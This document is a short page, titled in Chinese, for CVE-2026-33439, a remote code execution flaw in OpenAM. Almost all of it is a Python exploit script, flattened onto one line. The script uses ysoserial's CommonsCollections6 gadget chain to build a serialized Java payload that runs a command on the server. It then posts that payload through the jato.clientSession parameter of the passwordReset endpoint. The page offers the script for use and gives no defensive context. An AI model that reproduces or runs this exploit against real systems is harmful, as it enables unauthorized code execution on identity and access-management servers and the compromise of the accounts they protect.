CVE-2026-33439 OpenAM远程代码执行漏洞

import requests import subprocess import sys import urllib.parse # Target URL (Example) # Change this to the actual vulnerable endpoint (e.g., /openam/passwordReset) target_url = "http://target-openam-server/openam/passwordReset" # Command to execute on the target server cmd = "touch /tmp/pwned" # Common gadget chain for Java deserialization # Ensure ysoserial.jar is in the current directory or in PATH gadget_chain = "CommonsCollections6" print(f"[*] Generating payload using ysoserial for command: {cmd}") try: # Generate the serialized Java object payload # Command: java -jar ysoserial.jar <gadget> <command> proc = subprocess.Popen( ["java", "-jar", "ysoserial.jar", gadget_chain, cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE ) payload, err = proc.communicate() if err: print(f"[-] Error generating payload: {err.decode()}") sys.exit(1) except FileNotFoundError: print("[-] 'java' or 'ysoserial.jar' not found. Please install Java and download ysoserial.") sys.exit(1) print(f"[*] Payload generated (Length: {len(payload)} bytes)") # The vulnerability lies in the 'jato.clientSession' parameter # We send the serialized object as a POST parameter params = { "jato.clientSession": payload } # Headers might be needed depending on the server configuration headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending malicious request to {target_url}") try: response = requests.post(target_url, data=params, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.content)}") # Note: Successful RCE via deserialization often results in no HTTP response or a 500 error # Verify execution by checking the target server (e.g., checking if /tmp/pwned exists) print("[*] Exploit sent. Please verify command execution on the target server.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")